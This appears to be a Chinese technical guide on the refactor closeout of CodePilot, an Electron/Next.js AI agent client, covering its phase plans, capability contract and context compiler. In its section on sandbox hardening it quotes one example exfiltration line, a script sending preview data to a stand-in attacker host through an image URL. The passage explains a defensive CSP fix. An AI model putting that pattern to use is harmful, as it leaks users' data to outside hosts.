人工智能AI 应用AI Agent交互助手MCP Clients本地部署【免费下载链接】CodePilotA multi-model AI agent desktop client — connect any AI provider, extend with MCP skills, control from your phone. Built with Electron Next.js.项目地址https://gitcode.com/gh_mirrors/co0dep/CodePilot点击查看免费下载本指南以仓库 docs/exec-plans/completed/refactor-closeout.md 为核心骨架结合 src/lib/harness 下的 capability-contract、context-compiler 与测试用例等源码证据展开讲解 CodePilotElectron Next.js 的多模型 AI Agent 桌面客户端一次大规模工程重构的收口全过程规划主线如何收敛、每一阶段用户可见结果—验收路径—明确不做的三问审批原则以及重构后期如何用 Harness 能力契约 Context Compiler 让三套 RuntimeClaude Code、CodePilot Native、Codex共享同一份系统提示与工具面。读完本篇你既能按文档中的验收入口逐条验证各主线的现状也能理解单一事实源 drift 测试 能力矩阵这类跨 Runtime 治理手段的实际落地方式。一、重构收口总控板结构、协作边界与文档体系1.1 总控板定位refactor-closeout.md原本是超过 1000 行的长文档2026-05-10 被收口为总控板control board只保留当前状态表、下一步、未闭环风险、验收入口、暂缓清单与最近决策历史细节按 Phase 归档到docs/exec-plans/completed/下的refactor-phase-*.md、phase-4-markdown-artifact.md、phase-5*.md等文件。文档内部约定日常入口只看总控板查历史走历史归档列避免在单一文件里翻阅千行决策日志。1.2 协作边界与上下文同步纪律文档明确了两条工程协作纪律是理解整个重构执行节奏的前提协作边界Codex 负责计划制定、方案审查与 ReviewClaudeCode 负责执行代码改动、测试与提交整理。除非用户重新授权Codex 只改docs/下的计划 / 交接 / review 文档不直接改业务代码。上下文同步纪律交接给执行方的内容不能只给最终结论必须同时写清楚讨论过程、判断依据、被否掉的方案与原因尤其是架构 / Runtime / 权限 / provider / 安全边界相关任务交接文案需包含用户原始诉求 → 中间争议 → 取舍理由 → 当前决定 → 不做边界 → 审查重点。1.3 主线全景Phase 0-8 的状态一览顺序主线用户视角结果状态历史归档0计划收敛Active 计划只剩总控板 issue-tracker✅ 已完成2026-05-06phase-11模型同步与渠道扩展添加服务商不再被无关模型污染OpenRouter 走搜索默认模型不乱跳✅ 主路径完成phase-12Runtime 与会话执行每个会话能解释 / 能切换执行引擎旧会话不被全局漂移下一条消息生效✅ Step 1-4c 完成2026-05-07phase-23后台常驻、全局定时任务、助理心跳与通知关窗常驻菜单栏reminder 不依赖 AI本机通知 / Bridge 解耦全局任务页后台 Agent 任务 心跳✅ 完成2026-05-10phase-34Markdown / Artifact 稳定与表现层Markdown 作为数据层HTML / Artifact 作为表现层外部资源、安全沙箱、工程输出引用✅ 完成2026-05-12phase-45 / 5b / 5cCodex Runtime 接入Codex 与 Claude Code 同级 Runtimeprovider proxy translatorTool Bridge 收口✅ 完成2026-05-19phase-5 等5d / 5eHarness 能力契约与架构CodePilot 自有能力跨 Runtime 统一契约Settings 能力清单诚实降级✅ 完成phase-5d · phase-5e6上下文可视化输入框右下角是组成条而不是单一百分比popover 展示来源分解与三 Runtime context-accounting✅ 完成2026-05-20phase-6 · context-accounting7视觉锚点与图标体系图标库与表意收敛 macOS 平台视觉 浮动卡片 primitive 进行中归档时phase-7-icons · phase-7b · phase-7c8Codex MCP / Memory 注入5 项核心能力在 Codex Account 下真账号 smoke 通过不可行 / defer 路径诚实降级✅ 完成2026-05-29phase-8-codex-mcp归档说明refactor-closeout.md已在 2026-06-05 随 v0.55.0 / v0.55.1 发布后整体移入completed/其中 Phase 3 / 7c 的 FileTree Workspace 两栏形态已被 active 目录的workspace-surface-sidebar-pin-and-inspector.md取代现行合同是单一 Workspace shell Primary Inspector。二、三问审批原则阶段开工的前置门槛文档审批原则保留一节规定每个阶段开工前必须能回答三个问题用户结果用户打开产品后会看到什么变化哪些旧困惑会消失验收路径用哪个页面、哪个按钮、哪个流程可以验证不做什么本阶段明确不碰哪些诱人的支线。如果一个任务只能描述成改某个模块 / 抽某个接口、却说不清用户会看到什么就不能作为独立阶段开工。这套原则直接体现在总控板每一行的用户视角结果列例如 Phase 2 的验收路径是composer 工具栏[模式] [对话引擎] [权限]三联可见Phase 3 是创建一个 1 分钟 reminder不配 provider→ 关窗 → 等到点 → macOS 系统通知弹出 → 点通知落到定时任务页并展开 delivery log。三、Phase 1-3 核心落地与边界模型、Runtime、后台任务3.1 Phase 1模型同步与渠道扩展主线 1 解决添加服务商被无关模型污染、OpenRouter 不走搜索、默认模型乱跳三个用户可见问题。验证入口集中在 SettingsProviders添加套餐型服务商不报 discovery 失败、ModelsOpenRouter 走搜索套餐型模型不出现 100 上游目录、Chat 新会话默认模型按钮显示provider·model。完整历史见 refactor-phase-1-models-providers.md。3.2 Phase 2Runtime 与会话执行Phase 2 让每个会话能解释并切换执行引擎且切换只对下一条消息生效旧会话不被全局漂移删除当前会话 provider 后发送会返回409 INVALID_SESSION_PROVIDER横幅切换后 transcript 出现已切换执行引擎X → Ymarker。这为后续 Phase 5 接入 Codex Runtime 打下了三套 runtime invariant 不互相污染的前置基础。3.3 Phase 3后台任务、定时提醒与助理心跳Phase 3 Step 4 拆成两批落地Step 4a任务会话壳、messages.task_run_id、TaskRunMarker /、task_run_logs5 态应用层白名单、心跳系统任务、Tasks 页 5 态展示、Assistant 心跳频率。Step 4b后台runScheduledAgentTask切到 headlessstreamClaude支持真实工具调用、permission_request → waiting_for_permission、TaskWaitingForPermissionPanel /的重跑 / 放弃动作。后续修正任务创建时注入origin_session_id/working_directorytask-bound session 只复用sourcetaskheartbeat 路径硬隔离 MCP /settingSources后台任务失败不再污染最近用户会话。文档给出了三类任务概念的行为边界表概念kindsource行为提醒reminderuser到点直接通知不调用 AI。用户创建的 AI 任务ai_taskuser到点创建 / 复用 task-bound session走 headless Agent 执行链结果和工具事件落入任务会话。助理心跳ai_taskassistant_heartbeat后台按频率检查HEARTBEAT.md只允许 memory 工具HEARTBEAT_OK静默否则写入 buddy session 并通知。剩余明确不做durable agent state resume权限请求后只提供重跑 / 放弃不从断点继续cron 表达式编辑器、跨 Agent 调度接管、心跳频率低于 1 小时、跨设备同步task-bound session 不放进主聊天列表只能从 Tasks 页、通知、直接 URL 进入。Phase 3 自动化验收入口为npm run test、npx next build、node scripts/build-electron.mjsElectron 原生 smoke 覆盖关窗常驻、菜单栏打开 / 退出、后台通知、通知点击路由。四、Phase 4Markdown 作为数据层HTML / Artifact 作为表现层Phase 4 的核心产品判断是Markdown-as-data / HTML-as-presentation子计划与交接分别归档于 phase-4-markdown-artifact.md 与 handover/phase-4-markdown-artifact.md。4.1 用户结果与已完成范围Markdown 作为可信数据层工作区内文件可编辑外部文件只读授权打开改动后预览自动刷新编辑冲突不被静默覆盖。Markdown 预览交互化frontmatter、heading anchor、wikilink、Obsidian callout、选区加入对话。HTML / Artifact 有明确安全边界本地相对资源可解析Static / Interactive 两档沙箱分清楚Interactive 不允许外联泄漏。代码块一键进入 ArtifactHTML / JSX / JSON / diff / CSV / Markdown 都有对应富预览或安全降级。Markdown 打开即按默认 Article 风格渲染可用 Select 切 Default / Article / Report / Brief / Pitch切样式原地切 CSS不弹窗、不写盘。显式 HTML Artifact 导出入口 deferredtech-debt-tracker #18。工程聊天输出里的文件路径、line fragment、diff fence、localhost URL 变成可点击 chip。模块级实现结果模块当前结果PreviewSource trust tierworkspace / user-selected / agent-referenced三档AI 提到外部文件先确认确认后只读打开Markdown 文件刷新codepilot:file-changed触发安静刷新dirty buffer 显示冲突条HTML 文件预览/api/files/html-preview/[scope]/...同源路由relative CSS/img/script 按 scope 解析CSP 从default-src none起步HTML Interactive只开放脚本执行不开放allow-same-origin并撤销所有https:外联资源堵住 URL-shaped exfiltrationMarkdown 数据交互frontmatter、wikilink、callout、heading anchor、选区加入对话Artifact routingcode-fence Preview action inline-json / inline-diff / inline-datatable / inline-markdown / inline-html / inline-jsxMarkdown 表现层in-place presentation Select quiet refresh工程输出引用本地文件 chip、Markdown 链接拦截、bare filename resolution、localhost Browser / Artifact chip4.2 安全沙箱的四轮加固源码佐证从最近决策日志可以看到 HTML 安全边界经历了四轮迭代2026-05-11 至 05-12Round 1同源路由/api/files/html-preview/[scope]/abs-pathscope 编码进 path segment 让 browser-native relative 解析自动保持 scopeiframesrc替代srcDoc脚本默认禁。Round 2路由 CSP 拆 Static / Interactive 两档Static 放开https:给 img/style/font/media、script-src noneInteractive 额外放开script-src https:allow-same-origin永不开。Round 3CSP 改default-src none 显式放允许方向两档都强制connect/frame/object/worker/manifest-src none防止 Interactive 模式下脚本通过 fetch / nested iframe / Worker 外传预览内容。Round 4堵住 URL-shaped exfiltration——Interactive 模式下脚本可new Image().src https://attacker/?d.../link relstylesheet/script src走 img/style/script-src 外发。Round 4 把所有资源 directive 的https:全部撤销只保留self data: blob:并把产品语义切成两个独立信任决定「让脚本运行」与「让外部 CDN 资源加载」。明确不做不做 Codex Runtime / Local Agent Adapter后续单独计划不做全 vault 索引、反向链接图、WYSIWYG Markdown 编辑器不做远端 E2B / Vercel Sandbox 上传执行不让外部只读 Markdown 因能预览而静默写盘。五、Phase 5Codex Runtime 接入与 Harness 能力契约Phase 5 的目标是把 Codex 像 Claude Code 一样接入为同级 Runtime不是上下文可视化后者顺延到 Phase 6。完整子计划见 phase-5-codex-runtime.md。5.1 已落地内容Runtime Contract Hardening、codex app-server管理层、account/read/ login flow、model/list→ Codex Account、Runtime registrycodex_runtime、thread / turn / item / file-change / approval / token usage 映射、Codex Account chat 主链路。Phase 5bCodePilot provider proxy translator——基于 ai-sdkcreateModel()streamText的统一翻译层同一份实现覆盖 OpenAI-compatible / Anthropic-compatible / CodePlan 三家族CodexRuntime.stream()把model_providers.codepilot_proxy注入thread/start与thread/resume共享buildCodexThreadParamshelperguardrail 测试 source-grep runtime.ts 保证两条路径 spread 同一 paramssession 持久化codex_thread_provider_id防止跨 provider 误 resumeVIRTUAL_PROVIDERSregistry 在 proxy 端正确解析openai-oauth等虚拟 provider。Phase 5cCodePilot Tool Bridge——Memory / Tasks / Widget / Image / Media 等能力可被感知、调用并回到 UIDashboard / CLI 在 Phase 8 收口后翻为可调用read 自动 / write 弹审批。不做不解析codex exec文本作为主协议不读取~/.codextoken 文件不把 Codex 降级成Codex Account only轻入口不把proxy translator 暂未覆盖误写成永久不支持。5.2 Harness 能力契约三份漂移副本到单一事实源Phase 5c slice 6 的 smoke 暴露出一个典型问题同一套 widget 规则存在三份互相漂移的 prompt 副本——src/lib/widget-guidelines.ts的 30 行完整版含 wire-format spec、src/lib/builtin-tools/widget-guidelines.ts的 14 行删减版、Codex bridge 中独立改写版。GLM/Kimi 走 Codex Runtime 看到 bridge 版ClaudeCode 用户看到 MCP 版同一产品面不同规则。Phase 5d 的解法是抽出一个声明式能力契约实现在 src/lib/harness/capability-contract.ts。每个能力只有一条 catalog 条目记录五件事权威来源系统提示片段的权威文件 export三个 Runtime 都 import 该文件或经契约 re-export各 Runtime 暴露面哪个工厂函数建工具、用什么工具包装mcp_server/ai_sdk_tool/bridge_executable/bridge_passthrough/unsupported工具结果形状与事件text / media / mixed 必须发出的 canonical event typesUI 渲染路径哪个组件消费工具结果状态live三 Runtime 全接线/deferred有计划未落地/unsupported刻意禁用并有理由。状态语义是严格化的live要求每个声明的 runtime exposure 都可执行任何 exposure 不得为unsupported——要么补齐缺失的 exposure要么拆分能力避免挂着 live 却有一条腿 unsupported的混合口径。典型例子是assistant_buddyClaudeCode 与 Native 都已接线codepilot_hatch_buddy但 Codex Runtime proxy 未桥接 hatch flow因此能力顶层状态保持deferred而能力矩阵按各 Runtimeexposure.kind直接推导对话框显示可执行 / perception_only。能力目录HARNESS_CAPABILITIES包括widget、memory/memory_write、tasks_and_notify、assistant_buddydeferred、image_generation、media_import、dashboardPhase 8 后 live、cli_tools等。例如 widget 条目的toolNames: [codepilot_load_widget_guidelines]ClaudeCode 侧由 widget-guidelines.ts 的createWidgetMcpServer提供Native 侧由builtin-tools/widget-guidelines.tsre-exportCodex proxy 侧由builtin-bridge.ts的buildWidgetGuidelinesTool提供三处共享同一WIDGET_SYSTEM_PROMPT。契约测试 harness-capability-contract.test.ts 通过 source-grep 锁定每个live能力的工具名必须在对应 runtime exposure 的模块中真实注册、exposure 的 factory 符号必须存在、系统提示片段必须逐字包含或经 import re-export。5.3 新 Runtime 接入的硬性流程契约文件明确写了接入第四个 RuntimeGemini app-server、OpenClaw 等的四个前置步骤为每个status: live能力实现 exposure 工厂或在新 Runtime 条目上显式标unsupporteddeferredReason逐字嵌入 canonicalsystemPromptFragment禁止改写Codex 式前缀 / 包装允许但不能与 canonical 规则矛盾通过该 Runtime 的契约测试契约测试通过之后才能跑真实凭据 smoke——先 smoke 再补丁正是 pre-contract 时代 slice 1-6 被证明不可扩展的教训。六、Phase 5d Phase 2Harness Context Compiler 与 drift 台账6.1 编译器是什么 / 不是什么src/lib/harness/context-compiler.ts 定义了一个纯函数compileContext(input): CompiledContext同输入必同输出无 IO、无网络、无Date.now/ 随机读取、无 provider 调用。该纯度使编译器可以脱离模型流量单独测试也让各 Runtime adapter 能以单一确定性输入叠加。每个 Runtime 的 adapter每轮对话调用一次编译器并适配输出而不是自己拼 prompt、改写能力规则或重定义 artifact wire format——编译器是能力级 prompt 片段的唯一生产者。编译器不做的事包括执行工具留在 MCP / AI SDK / bridge 工厂、处理 SSE 事件、渲染 UI、调用 provider、读写文件系统 / DB / 网络所有 IO 由调用方完成预取快照通过assistantMemory传入、变更 session 状态、做权限决策消费 hint 而非往返。6.2 输入输出契约CompilerInput的关键字段context-compiler.tssessionId诊断与下游路由用workingDirectory部分能力以其存在与否做 gatingruntimeId决定查每条能力的exposure.runtime并填充对应runtimeHintsproviderId/model供 adapter 使用userPrompt编译器不做关键词 gating保留为诊断上下文enabledCapabilities调用方授权的能力集合null表示默认取 catalog 中所有status live的能力availableToolNamesRuntime 实际挂载的工具名集合为 true 时 runtime hints 取 catalog 契约与该集合的交集——例如开启image_generation能力时不得宣传当前 OAuth 状态未挂载的 Grok 视频工具assistantMemory预取的内存快照recent entries long-term summarypermissionProfiledefault / read_only / full保留给未来写能力过滤Phase 4 scope当前仅信息性tokenBudgetsystemPromptMax与contextMax——编译器对 load-bearing 片段超限直接 FAIL对 memory / workspace 等可选片段超限则丢弃。CompiledContext的输出结构basePromptRuntime 无关的 CodePilot 开场白Phase 2 恒为空各 Runtime 自行前置自己的框架头capabilityFragments/artifactContracts/memoryFragments/workspaceFragments四类片段每个片段带稳定fragmentId、sourceCapability、sourceFile、sourceExport、text、tokens字符数 / 4 的廉价估算toolDescriptors工具名 所属能力 exposure 种类mcp_server/ai_sdk_tool/bridge_executableruntimeHints按 Runtime 分型claudecode_sdk/native/codex_proxy严格只放 ID / refs / 适配选项禁止 prose / 改写 / 工具 schema 重定义——任何模型可见字符串必须来自带sourceFile sourceExport的片段而不是 hintbudgetused / max / perCategorybasePrompt、artifactContracts、capabilityFragments、workspaceFragments、memoryFragments 五类分开计数systemPromptText预组装的完整系统提示消费者应优先用它在各 Runtime 间对齐避免 driftdiagnosticsdroppedFragmentsbudget / duplicate / gated / invalid_artifact 四类原因、dedupedFragments、capabilityDecisions每条能力 included / excluded 原因。6.3 三条硬约束artifact-before-capability 顺序artifact contract 片段必须先于 capability 片段注入wire-format 单一来源detectWireFormatDuplication会检测 capability 片段是否内嵌 artifact contract 的 canonicalJson——若内嵌即 compile-time FAIL防止 wire spec 在编译后的 prompt 里被重复注入例如WIDGET_SYSTEM_PROMPT不得内嵌WIDGET_WIRE_FORMAT_SPEC跨 Runtime 片段文本同源同一能力的 fragment 文本在三个 Runtime 必须逐字一致fragmentId 稳定为cap.id.systemPrompt去重后可跨调用复用。CodexProxyHints中还有一个来自 smoke 的经验值CODEX_BRIDGE_STEP_LIMIT 8——Codex Runtime 在 bridge 挂载了至少一个 CodePilot 内建工具时的 ai-sdk 多步上限memory → image gen → narration → schedule task 链的经验 pin。6.4 三 Runtime 全面消费编译器2026-05-17 的两次 Codex review 暴露并修复了宣传三 Runtime 都消费 compiler 但只有 Codex bridge 真调用的口径问题ClaudeCode SDKclaude-client.ts改为收集enabledCapabilitiesSet 单次compileContext({ runtimeId: claude_code, ... }) 单次 append若上游未传 base systemPrompt则用{type:preset, preset:claude_code, append: compiled.systemPromptText}初始化避免 compiled 文本被静默丢弃。CodePilot Nativebuiltin-tools/index.ts新增capabilityIdsForGroup映射codepilot-media返回[media_import, image_generation]两个 id末尾单次compileContext({ runtimeId: codepilot_runtime, ... })effectiveSystemPrompt [systemPrompt, ...toolSystemPrompts].filter(Boolean).join(\n\n) || undefined任一侧为空都不丢另一侧。Codex Runtime proxysrc/lib/codex/proxy/unified-adapter.ts修正消息构建顺序——bridge mount → translateResponsesTools → compileContext → bodyWithBridgePrompt →buildMessages(bodyWithBridgePrompt)禁止先buildMessages(input.body)再编译否则 compiler prompt 只能走 OpenAI Responses 的instructions路径Anthropic-compat / CodePlan / chat-completions 路径根本看不到。6.5 Expected Differences Ledgerdrift 台账src/lib/harness/expected-differences.ts 是显式允许列表等价性测试harness-context-compiler-equivalence.test.ts对比编译器产出与各 Runtime 当前实际注入直接读 canonical 源文件差异必须是指台账条目的子集未登记的差异直接 trip 测试。台账条目分为五类capability_fragment_replacedRuntime 用改写版 → 迁移后换 canonical、capability_fragment_added、capability_fragment_removed、tool_schema_canonicalized保留、tool_result_shape_canonicalized。每条带resolutionslice_2cClaudeCode 采纳/slice_2dNative 采纳/slice_2eCodex bridge 采纳/follow_up。迁移时台账条目由迁移 slice 手动移除刻意不自动化保留每个 slice 实际消化了什么的口径Phase 5d Phase 5 的新 Runtime Playbook 要求新 Runtime 的初始台账只允许follow_up条目。6.6 契约测试覆盖harness-context-compiler.test.ts 覆盖catalog 卫生 状态过滤enabledCapabilities: null默认包含所有 live 且 exposure 非 unsupported 的能力、widget wire-format 单源、runtimeHints 边界无 prose、无模板字面量、台账内部一致性、artifact-contract 先于 capability 的排序、预算执行load-bearing 超限 FAIL、跨 Runtime fragment 文本同一性、tool descriptor 表面与契约一致、决策诊断、每个 artifact contract 的 canonicalJson 可被JSON.parsewidget 会喂给parseAllShowWidgets验证渲染器能消费。七、Phase 6-8上下文可视化、视觉锚点与 Codex MCP 注入7.1 Phase 6上下文可视化Phase 6 把输入框右下角的 context 入口升级为点阵式组成条popover 展示来源分解、剩余容量与分类 token 数。三 Runtime 均通过 producer 落result.usage.context_breakdown真实数据契约与 smoke / DB evidence 归档于 context-accounting-runtime-contract.md。落地组件包括 Context Breakdown UI、点阵 mini/main bar、RunCockpit 接入、ToolInvocation 统一抽象。剩余非阻塞项tech-debt #22selectedSkills 同名歧义与 #24footer cost 双计。7.2 Phase 7视觉锚点与图标体系Phase 7 第一刀2026-05-21由用户指出当前图标重复使用、表意不清触发先立图标体系计划phase-7-icon-system.md以 HugeIcons 为主图标库目标先建 CodePilot semantic icon layer 与 icon inventory再迁移高频 UIBrain / Lightning / Terminal 三个泛化图标永久禁用。已落地semantic-icon.tsx96 文件迁到 CodePilotIcon、新应用图标 MonolithIcon 居中欢迎布局 widget 点阵卡、macOSdata-platform 平台 token 层 CardFrame/CardSurface/ResizeGutter 浮动卡片 primitivephase-7c-card-primitive.md。归档时剩余点阵 loading / 空状态 / 背景纹理视觉锚点第二批另开子计划7b Phase 3-5 由用户 2026-05-29 决定不做。不做一口气全局重做 UI、点阵铺满所有卡片、macOS 分叉页面内容。7.3 Phase 8Codex MCP / Memory 注入Phase 82026-05-29 归档见 phase-8-codex-mcp-context-injection.md让 5 项核心能力在 Codex Account 下真账号 smoke 通过Memory / Widget / TasksNotify / Dashboard / CLI并落地按能力区分的 elicitation 审批策略read 自动 / write 弹审批Dashboard / CLI 拆 read write 两个 server。Codex 原生图片入库已对齐素材库。用户明确 defer 两项Image/Media 不叠加 App 的 Gemini 图片 MCPCodex 自带够用用户自定义 MCP 是独立工程transport / OAuth / 白名单后续单独立项。Phase 8 收口后诚实降级只剩 Image/Media 与用户 MCP 在 Settings 中标 defer。八、Tech-debt 收尾优先级与暂缓清单2026-05-29 进入整体收尾时给出的 tech-debt 排序建议#34Mac 定时任务不弹通知→ #27pin-incomplete 误报模型不可用→ #26Plan 模式无法建 Widget→ #30pre-commit 不 enforce eslint→ #28Windows shell 方言独立 slice。完整登记见 docs/exec-plans/tech-debt-tracker.md。暂缓清单用户决议或不在主线内不主动开工Run Checkpoint Round 3PermissionPrompt 视觉收编更多 Bridge 渠道微信 / QQ Bridge单独计划在 active插件市场深度功能、浮窗助理、自动多 Agent 编排全 provider billing / usage APIMemory 管理面板大规模官网 / 文档站工作。九、验收入口速查表按总控板约定日常想确认某条主线是否还在工作按下面的入口走主线浏览器主流程验收入口Phase 1Settings → Providers添加套餐型服务商不报 discovery 失败Settings → ModelsOpenRouter 走搜索Chat 新会话默认模型按钮显示provider·modelPhase 2composer 工具栏[模式] [对话引擎] [权限]三联可见切 RuntimeSelector → /chat 即时按新 runtime 过滤删 provider →409 INVALID_SESSION_PROVIDER横幅切换后 transcript 出现已切换执行引擎X → Y markerPhase 3创建 1 分钟 reminder不配 provider→ 关窗 → 等到点 → macOS 系统通知 → 点通知落定时任务页 焦点 展开 delivery log浏览器 POST/api/tasks/schedule带notify_on_complete: true返回 200 DB row 1Phase 4/chat/id右侧文件树预览 workspace.mdArticle 样式、Select 原地切换、自动刷新、冲突横幅workspace.html相对 CSS/图片可见、Interactive 外联被 CSP 阻断外部 Markdown/HTML 先授权卡再只读打开聊天消息测试README.md:12、/abs/path/file.md#L12、diff/json fence、localhost URL 的 chip 行为Phase 5真实 provider smokeOpenRouter haiku 两轮续聊绑定codex_thread_provider_idSettings 能力清单对不支持项展示用户语言提示自动化基线npm run test、npx next buildElectron 原生路径用node scripts/build-electron.mjs涉及 UI 的用 Browser/CDP 做 smoke。归档时点上Phase 5c 相关单测在 slice 7 后为 2544 tests、Phase 5d Phase 2 三次 review 修复后为 2589 tests 全绿可作为重构收口质量基线的参考证据。十、结语这套重构方法论的可复用部分refactor-closeout.md与其 Phase 归档展示了一套可以抽离复用的治理方法总控板 分 Phase 归档单一日常入口文件只保留状态与决策摘要历史细节按阶段归档避免千行决策日志吞噬工作流三问审批用户结果 / 验收路径 / 不做什么保证每个阶段有可验证的用户可见产出杜绝抽接口式的无效任务能力契约 Context Compiler drift 台账当同一产品能力要跨多个 Runtime 或执行引擎MCP / AI SDK / bridge proxy重复实现时用声明式单一事实源 纯函数编译 显式差异白名单 source-grep 契约测试把复制粘贴式漂移变成可被测试捕获的回归诚实降级 vs 暂缓能力状态机live / deferred / unsupported与 Settings 能力矩阵联动让没做与刻意不做在产品层可读避免把暂未覆盖误写成永久不支持。这套方法论的当前现场就在 CodePilot 仓库中总控板入口 docs/exec-plans/completed/refactor-closeout.md契约与编译器实现 src/lib/harness/capability-contract.ts、src/lib/harness/context-compiler.ts、src/lib/harness/expected-differences.ts契约测试 src/tests/unit/harness-context-compiler.test.tstech-debt 持续登记于 docs/exec-plans/tech-debt-tracker.md。后续想要扩展新 Runtime 或新能力时可直接按契约文件中的New-runtime onboarding四步流程行事。赞分享人工智能AI 应用AI Agent交互助手MCP Clients本地部署【免费下载链接】CodePilotA multi-model AI agent desktop client — connect any AI provider, extend with MCP skills, control from your phone. Built with Electron Next.js.项目地址https://gitcode.com/gh_mirrors/co0dep/CodePilot点击查看免费下载相关推荐CodePilot Harness Capability Contract跨 Runtime 能力契约与新一代 Agent 接入规范CodePilot Harness Capability Contract跨 Runtime 能力契约与新一代 Agent 接入规范 导读本文以 CodeP人工智能AI 应用AI Agent交互助手MCP Clients本地部署CodePilot Runtime Harness 架构基于 HarnessBundle 三层模型的跨框架 Agent 能力接入总线CodePilot Runtime Harness 架构基于 HarnessBundle 三层模型的跨框架 Agent 能力接入总线 本篇技术指南以 Code人工智能AI 应用AI Agent交互助手MCP Clients本地部署IronClaw Reborn Host Runtime 契约能力义务、可见能力面与受控 HTTP 出口的源码级解析IronClaw Reborn Host Runtime 契约能力义务、可见能力面与受控 HTTP 出口的源码级解析 导读 ironclaw_host_run人工智能AI 应用交互助手AI Agent上一篇9款主流网盘直链下载助手完整指南告别限速困扰的终极解决方案下一篇OctoPrint Action Command Notification 支持插件固件驱动打印机通知的完整指南创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
阅读完成 · 觉得有帮助?